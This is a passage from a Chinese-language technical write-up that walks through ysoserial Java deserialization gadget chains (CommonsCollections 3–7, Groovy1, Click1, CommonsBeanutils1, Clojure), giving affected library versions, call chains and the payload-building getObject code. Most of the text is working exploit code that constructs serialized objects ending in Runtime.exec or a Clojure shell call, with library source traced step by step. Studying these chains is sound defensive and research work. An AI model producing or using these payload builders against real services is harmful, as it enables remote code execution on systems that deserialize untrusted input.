// 使用 transformer 构造 PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));

// 先设置正常的变量值
queue.add(1);
queue.add(1);

// 修改方法名称
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// 替换队列内的变量
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates; // jdk7u21
queueArray[1] = 1;

return queue;
}

CC3

CC2(source) + CC1(sink)
利用 TemplatesImpl 承载恶意调用链
使用 InstantiateTransformer 代替 InvokerTransformer,通过 TrAXFilter 的构造方法调用 newTransformer
放在特性和 TransformedMap 相同的 lazyMap 中
通过动态代理 AnnotationInvocationHandler 的反序列化触发

适用版本

  • commons-collections 3.1
  • jdk7u21
    • 使用 TemplatesImpl 的变量 _bytecodes 承载恶意字节码

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
Class.newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

InstantiateTransformer 的 transform 方法会创建类实例。TrAXFilter 类的构造函数接受 Templates 类型的参数,并执行 TemplatesImpl.newTransformer

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}

ysoserial.payloads.CommonsCollections3#getObject 可以看出前面和 CC2 一样构造 templatesImpl 承载恶意代码,中间使用 InstantiateTransformer 构造链式触发器 ChainedTransformer,最后和 CC1 一样用 LazyMap 和 AnnotationInvocationHandler 动态代理封装。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object getObject(final String command) throws Exception {
// 构造 TemplatesImp 承载恶意代码
Object templatesImpl = Gadgets.createTemplatesImpl(command);

// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};

// 同 CC1
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

CC4

CC2 + CC3
利用 InstantiateTransformer 构造执行链

适用版本

  • commons-collections 4.0
  • jdk7u21
    • 使用 TemplatesImpl 的变量 _bytecodes 承载恶意字节码

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
Class.newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

ysoserial.payloads.CommonsCollections4#getObject 用 ChainedTransformer 代替了 InvokerTransformer 作为比较器,且构造方式同 CC3,利用 InstantiateTransformer 触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);

ConstantTransformer constant = new ConstantTransformer(String.class);

// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);

// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

return queue;
}

CC5

前面 RMI 反序列化漏洞利用中提到
将 CC1 中的 AnnotationInvocationHandler 替换为 BadAttributeValueExpException
利用 CC1 中的 LazyMap 构造 TiedMapEntry,再用于构造 BadAttributeValueExpException

适用版本

  • commons-collections 3.1 ~ 3.2.1
  • jdk 1.8

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

在 BadAttributeValueExpException 的 readObject 方法中,会调用成员变量 valtoString 方法

  • 这里将 val 设置为 TiedMapEntry
  • TiedMapEntry 会调用自身的 getKeygetValue 方法
    • getKey 方法中调用成员变量 map 的 get 方法
    • 这里将 map 设置为 LazyMap(@CC1)

ysoserial.payloads.CommonsCollections5 注意这里利用反射设置 val 的值,因为 BadAttributeValueExpException 的构造函数会判断是否为空,如果不为空在序列化时就会执行 toString(),那么反序列化时,因为传入的 entry 已经是字符串,所以就不会触发 toString 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public BadAttributeValueExpException getObject(final String command) throws Exception {
// 构造恶意调用链 ChainedTransformer
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

// 构造 LazyMap,将其 factory 变量设置为 ChainedTransformer
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

// 使用 LazyMap 构造 TiedMapEntry
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

// 将 BadAttributeValueExpException 的成员变量 val 设置为 TiedMapEntry
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);

// 利用反射赋值
valfield.set(val, entry);

// 将 ChainedTransformer 中的 transformer 数组替换为恶意调用序列
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return val;
}

CC6

CC5 + CC1
通过对 TiedMapEntry#getValue 的调用触发 LazyMap#get
利用 ChainedTransformer 构造链式执行

适用版本

  • commons-collections 3.1
  • jdk 1.7

利用链

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

TiedMapEntry 中的 equals、hashCode、toString 方法中都调用了 TiedMapEntry#getValue,这里选择 hashCode 方法作为入口(CC5 用的是 toString)。

HashSet#readObject 反序列化时,会调用 map.put(e, PRESENT)方法,后续调用 HashMap#put,在其中会调用 HashMap#put 计算哈希值,最后触发 TiedMapEntry.hashCode;

map 可以控制为 HashMap,传入的第一个参数 e 是使用 readObject 读取,相应地在 writeObject 中写入的 e 是 map.keySet,因此通过反射修改 keySet 的返回结果为 TiedMapEntry。

ysoserial.payloads.CommonsCollections6#getObject 首先定义 ChainedTransformer 和 TiedMapEntry(同CC5),然后通过反射将 TiedMapEntry 赋值给 HashSet 的 keySet。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public Serializable getObject(final String command) throws Exception {
// 构造恶意调用链 ChainedTransformer
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);

// 构造 LazyMap,将其 factory 变量设置为 ChainedTransformer
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

// 使用 LazyMap 构造 TiedMapEntry
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

// 通过反射修改 keySet 的返回结果为 TiedMapEntry
// hashset 的 map 属性(HashMap)
HashSet map = new HashSet(1); // 容量为 1
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

// hashmap 的 table 属性(节点 node 数组)
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
// 第一个节点
Object node = array[0];
if(node == null){
node = array[1];
}

// 将 TiedMapEntry 存入 node 节点的 key
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);

return map;
}

CC7

和 CC6/CC5/CC1 类似,使用 ChainedTransformer 承载恶意代码
通过 AbstractMap#equals 来触发 LazyMap#get 方法的调用

适用版本

  • commons-collections 3.1
  • jdk 1.8

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
Gadget chain:
Hashtable.readObject
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get
ChainedTransformer.transform
InvokerTransformer.transform
Method.invoke
DelegatingMethodAccessorImpl.invoke
NativeMethodAccessorImpl.invoke
NativeMethodAccessorImpl.invoke0
Runtime.exec

ysoserial.payloads.CommonsCollections7#getObject 首先构造 ChainedTransformer(同CC1),然后创建两个 LazyMap 作为 HashTable 的元素("yy".hashCode() == "zZ".hashCode()),最后将第二个 LazyMap 中的元素移除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public Hashtable getObject(final String command) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};

// 创建 LazyMap 作为 Hashtable 的元素
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1); // 没有值,直接存
hashtable.put(lazyMap2, 2); // 有值,比较后再存
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

return hashtable;
}

调用两次 put 方法放入两个 LazyMap

  • 反序列化时,readObject 实际调用的是 reconstitutionPut
  • 第一次调用时,会把 key 和 value 注册到 tab 中
  • 第二次调用时,tab 中有内容则进入 for 循环中,从而调用 equals 方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

HashTable#put 在 table 中有元素时会调用 equals 方法,当调用完毕后,lazyMap2 的 key 中就会增加一个键为 yy,值为 UNIXProcess 实例的元素,而 UNIXProcess 没有继承 Serializable,无法序列化,因此需要移除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}
// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}
addEntry(hash, key, value, index);
return null;
}

Groovy1

Groovy 中使用 "command".execute() 执行命令
用 MethodClosure 承载指令,用于实例化 ConvertedClosure
使用 ConvertedClosure 创建 Map 类型代理

  • ConvertedClosure 的父类 ConversionHandler 实现 InvocationHandler,并重写了 invoke 方法
    创建 AnnotationInvocationHandler 代理,在反序列化代理时,会对 memberValues 调用 map.entrySet,进一步调用 ConversionHandler.invoke 方法,实际调用 ConvertedClosure.invokeCustom,最后调用 MethodClosure 父类 Closure.call 方法
1
2
3
4
5
public Object invokeCustom(Object proxy, Method method, Object[] args)
throws Throwable {
if (methodName!=null && !methodName.equals(method.getName())) return null;
return ((Closure) getDelegate()).call(args);//传入的是MethodClosure
}

利用链

1
2
3
4
5
6
7
8
9
10
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
...
Method.invoke()
Runtime.exec()

ysoserial.payloads.Groovy1#getObject 首选利用 MethodClosure 承载要执行的指令,然后构造 ConvertedClosure,再用于实例化 AnnotationInvocationHandler 代理,最后返回的是代理对象。

1
2
3
4
5
6
7
8
9
10
11
12
public InvocationHandler getObject(final String command) throws Exception {
// MethodClosure -> 父类 ConversionHandler.delegate
// "entrySet" -> ConvertedClosure.methodName
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");

// 使用 ConvertedClosure 创建 Map 类型的代理对象
final Map map = Gadgets.createProxy(closure, Map.class);
// 利用反射机制创建 AnnotationInvocationHandler 代理,将 map 保存到 memberValues 属性中
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);

return handler;
}

Click1

Web 应用框架
和 CC2 类似思路

  • 利用 TemplatesImpl 承载恶意调用链
  • PriorityQueue 在反序列化时比较元素(恢复顺序),而比较操作可以自定义
    这里使用 Column$ColumnComparator#compare 方法

利用链

1
2
3
4
5
6
7
8
9
10
11
12
Gadget Chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
Column$ColumnComparator.compare()
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
Method.invoke()
TemplatesImpl.getOutputProperties()
...

TemplatesImpl 类主要的作用为:

  • 使用 _bytecodes 成员变量存储恶意字节码 ( 恶意 class -> byte array )
  • 提供加载恶意字节码并触发执行的函数,加载在 defineTransletClasses() 方法中,方法触发为 getOutputProperties()newTransformer()

PriorityQueue 反序列化时最后会调用 heapify -> siftDown(将无序队列还原为优先队列),当 comparator 不为空时进一步调用 siftDownUsingComparator -> conparator.compare,然后通过调用 Column.getProperty 进一步触发 TemplatesImpl.getOutputProperties

ysoserial.payloads.Click1#getObject 创建 Column$ColumnComparator 比较器,作为 PriorityQueue 的参数;先设置正常的变量值,然后设置 Column 的 name 变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object getObject(final String command) throws Exception {
// prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);

// create queue with numbers and our comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

// switch method called by the comparator,
// so it will trigger getOutputProperties() when objects in the queue are compared
column.setName("outputProperties");

// finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object templates = Gadgets.createTemplatesImpl(command);
queueArray[0] = templates;

return queue;
}

Column$ColumnComparator.compare 方法,其中 row1 为恶意 TemplatesImpl 对象,row2 为 BigInteger("1")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public int compare(Object row1, Object row2) {
this.ascendingSort = this.column.getTable().isSortedAscending() ? 1 : -1;
Object value1 = this.column.getProperty(row1); // 这里
Object value2 = this.column.getProperty(row2);
if (value1 instanceof Comparable && value2 instanceof Comparable) {
return !(value1 instanceof String) && !(value2 instanceof String) ? ((Comparable)value1).compareTo(value2) * this.ascendingSort : this.stringCompare(value1, value2) * this.ascendingSort;
} else if (value1 != null && value2 != null) {
return value1.toString().compareToIgnoreCase(value2.toString()) * this.ascendingSort;
} else if (value1 != null && value2 == null) {
return 1 * this.ascendingSort;
} else {
return value1 == null && value2 != null ? -1 * this.ascendingSort : 0;
}
}

调用 this.column.getProperty(row1),其中,调用 this.getName() 获取 Column 的 name 属性,并调用 this.getProperty(name, row)。

1
2
3
public Object getProperty(Object row) {
return this.getProperty(this.getName(), row);
}

因为传入的 TemplatesImpl 对象不是 Map 的子类,直接跳过 if 判断,在为 methodCache 属性初始化 HashMap 类型对象后,调用 PropertyUtils.getValue(row, name, this.methodCache) 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object getProperty(String name, Object row) {
if (row instanceof Map) {
Map map = (Map)row;
Object object = map.get(name);
if (object != null) {
return object;
} else {
String upperCaseName = name.toUpperCase();
object = map.get(upperCaseName);
if (object != null) {
return object;
} else {
String lowerCaseName = name.toLowerCase();
object = map.get(lowerCaseName);
return object != null ? object : null;
}
}
} else { // 直接执行这里
if (this.methodCache == null) {
this.methodCache = new HashMap();
}

return PropertyUtils.getValue(row, name, this.methodCache);
}
}

将传入的 name 参数值赋给 basePart 变量,并在调用 getObjectPropertyValue 方法时作为参数传入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static Object getValue(Object source, String name, Map cache) {
String basePart = name;
String remainingPart = null;
if (source instanceof Map) {
return ((Map)source).get(name);
} else {
int baseIndex = name.indexOf(".");
if (baseIndex != -1) {
basePart = name.substring(0, baseIndex);
remainingPart = name.substring(baseIndex + 1);
}

Object value = getObjectPropertyValue(source, basePart, cache); # 这里
return remainingPart != null && value != null ? getValue(value, remainingPart, cache) : value;
}
}

cache 是初始化的 HashMap 对象,所以从中获取不到任何缓存方法,因此会调用 source.getClass().getMethod(ClickUtils.toGetterName(name)) 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private static Object getObjectPropertyValue(Object source, String name, Map cache) {
PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name);
Method method = null;

try {
method = (Method)cache.get(methodNameKey);
if (method == null) {
method = source.getClass().getMethod(ClickUtils.toGetterName(name)); // 这里
cache.put(methodNameKey, method);
}

return method.invoke(source);
} catch (NoSuchMethodException var13) {
try {
method = source.getClass().getMethod(ClickUtils.toIsGetterName(name));
cache.put(methodNameKey, method);
return method.invoke(source);
} catch (NoSuchMethodException var11) {
String msg;
try {
method = source.getClass().getMethod(name);
cache.put(methodNameKey, method);
return method.invoke(source);
} catch (NoSuchMethodException var9) {
msg = "No matching getter method found for property '" + name + "' on class " + source.getClass().getName();
throw new RuntimeException(msg);
} catch (Exception var10) {
msg = "Error getting property '" + name + "' from " + source.getClass();
throw new RuntimeException(msg, var10);
}
} catch (Exception var12) {
String msg = "Error getting property '" + name + "' from " + source.getClass();
throw new RuntimeException(msg, var12);
}
} catch (Exception var14) {
String msg = "Error getting property '" + name + "' from " + source.getClass();
throw new RuntimeException(msg, var14);
}
}

该方法是为传入的 property 属性头部添加 get 三个字符再返回,因此回到 getObjectPropertyValue 方法中调用method.invoke(source) 方法时,method 参数值对应的是 “get” + 传入的 name 变量。

而这里 name 变量值是由 Column#name 属性值决定的,因此控制 Column#name 属性值就可以调用任意类中以 get 开头的无参方法。可以直接通过构造函数控制 Column#name 属性。

1
2
3
4
5
6
7
public static String toGetterName(String property) {
HtmlStringBuffer buffer = new HtmlStringBuffer(property.length() + 3);
buffer.append("get");
buffer.append(Character.toUpperCase(property.charAt(0)));
buffer.append(property.substring(1));
return buffer.toString();
}

CommonsBeanutils1

思路同 CC2、Click1
改用 BeanComparator 作为比较器

适用版本

  • commons-beanutils:1.9.2
  • commons-collections:3.1
  • commons-logging:1.2

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
Gadget chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
PropertyUtils.getProperty()
PropertyUtilsBean.getProperty()
PropertyUtilsBean.getNestedProperty()
PropertyUtilsBean.getSimpleProperty()
Method.invoke()
TemplatesImpl.getOutputProperties()
...

ysoserial.payloads.CommonsCollections7#getObject 和 CC2 基本相同,中间使用 BeanComparator 作为比较器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public Object getObject(final String command) throws Exception {
// 承载恶意代码
final Object templates = Gadgets.createTemplatesImpl(command);

// 比较器
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");

// 创建优先队列
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

// 设置比较器调用 getoutputProperties 方法
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");

// 替换队列中的数据
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;

return queue;
}

BeanComparator#compare 方法中调用了 PropertyUtils.getProperty 获取属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property); // 这里
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}

PropertyUtils#getProperty 方法创建 PropertyUtilsBean,并调用其 getProperty 方法

1
2
3
public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return PropertyUtilsBean.getInstance().getProperty(bean, name);
}

PropertyUtilsBean#getProperty 方法用于执行任务,调用 getNestedProperty 方法。具体是调用 getSimpleProperty 方法,然后调用对象的 getter 方法获取属性,实际调用 TemplatesImpl.getOutputProperties

1
2
3
public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return this.getNestedProperty(bean, name);
}

Clojure

Clojure 是 Lisp 编程语言在 Java 平台上的现代、动态及函数式方言;说白了就是用 Clojure 在 Java 中执行 Lisp 代码。
利用 HashMap 返序列化执行 hashCode 方法的特性,将其替换为调用 AbstractTableModel$ff19274a.hashCode

适用版本

  • clojure:1.8.0

利用链

1
2
3
4
5
6
7
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
AbstractTableModel$ff19274a.hashCode()
clojure.core$comp$fn__4727.invoke()
clojure.core$constantly$fn__4614.invoke()
clojure.main$eval_opt.invoke()

ysoserial.payloads.Clojure#getObject 返回的 targetMap(HashMap) 包含 model(AbstractTableModel$ff19274a) -> null 的映射,model.__initClojureFnMappings = fnMap(HashMap),fnMap中的键为 hashCode,值为 g、f(core$comp$fn__4727)。

反序列化时调用 HashMap.readObject,进一步调用 AbstractTableModel$ff19274a.hashCode,因为 __clojureFnMap 有值所以调用 core$comp$fn__4727.invoke 最终调用的是构造的 clojure.core\$comp().invoke(clojure.main\$eval_opt(), clojure.core\$constantly().invoke(clojurePayload))。clojure.core$constantly().invoke(clojurePayload) 返回 core$constantly$fn__4614 对象,其属性 x 为构造的 payload,后续进入 clojure.main$eval_opt().invokeStatic 的 for 循环时执行指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// AbstractTableModel$ff19274a
public int hashCode() {
Object var10000 = RT.get(this.__clojureFnMap, "hashCode");
return var10000 != null ? ((Number)((IFn)var10000).invoke(this)).intValue() : super.hashCode();
}

// core$comp$fn__4727
public Object invoke() {
return ((IFn)this.f).invoke(((IFn)this.g).invoke());
}
public Object invoke(Object x) {
IFn var10000 = (IFn)this.f;
IFn var10001 = (IFn)this.g;
Object var10002 = x;
x = null;
return var10000.invoke(var10001.invoke(var10002));
}

// main$eval_opt
public static Object invokeStatic(Object str) {
Object eof = new Object();
Object var10004 = str;
str = null;
Object reader = new LineNumberingPushbackReader((Reader)(new StringReader((String)var10004)));
push_thread_bindings.invokeStatic(hash_map.invokeStatic(ArraySeq.create(new Object[]{const__2, Util.equiv(const__4, const__2.get()) ? Boolean.TRUE : const__2.get()})));
for(Object input = ((IFn)(new main$eval_opt$fn__7422(reader, eof))).invoke(); !Util.equiv(input, eof); input = ((IFn)(new main$eval_opt$fn__7424(reader, eof))).invoke()) { // 执行指令
Object var10000 = input;
input = null;
Object value = eval.invokeStatic(var10000);
if (Util.identical(value, (Object)null)) {
var10000 = null;
} else {
Object[] var5 = new Object[1];
Object var10003 = value;
value = null;
var5[0] = var10003;
prn.invokeStatic(ArraySeq.create(var5));
}
push_thread_bindings.invokeStatic(hash_map.invokeStatic(ArraySeq.create(new Object[]{const__2, Util.equiv(const__4, const__2.get()) ? Boolean.TRUE : const__2.get()})));
}
return null;
}

// core$constantly$fn__4614
public core$constantly$fn__4614(Object var1) {
this.x = var1;
}

POC 构造如下,注释掉其中两行也可以执行成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public Map<?, ?> getObject(final String command) throws Exception {

// 转义
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");

// 在 Clojure 包中调用 shell 命令
final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);

// 初始化
Map<String, Object> fnMap = new HashMap<String, Object>();
// fnMap.put("hashCode", new clojure.core$constantly().invoke(0));

AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
// model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));

HashMap<Object, Object> targetMap = new HashMap<Object, Object>();
targetMap.put(model, null);

// 添加到 Map 中
fnMap.put("hashCode",
new clojure.core$comp().invoke(
new clojure.main$eval_opt(), // 函数体为空
new clojure.core$constantly().invoke(clojurePayload))); // core$constantly 函数体为空
// 通过 PersistentArrayMap 转换 fnMap 的属性
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));

return targetMap;
}

clojure.core$constantly().invoke(clojurePayload) 实际调用 core$constantly$fn__4614(clojurePayload)

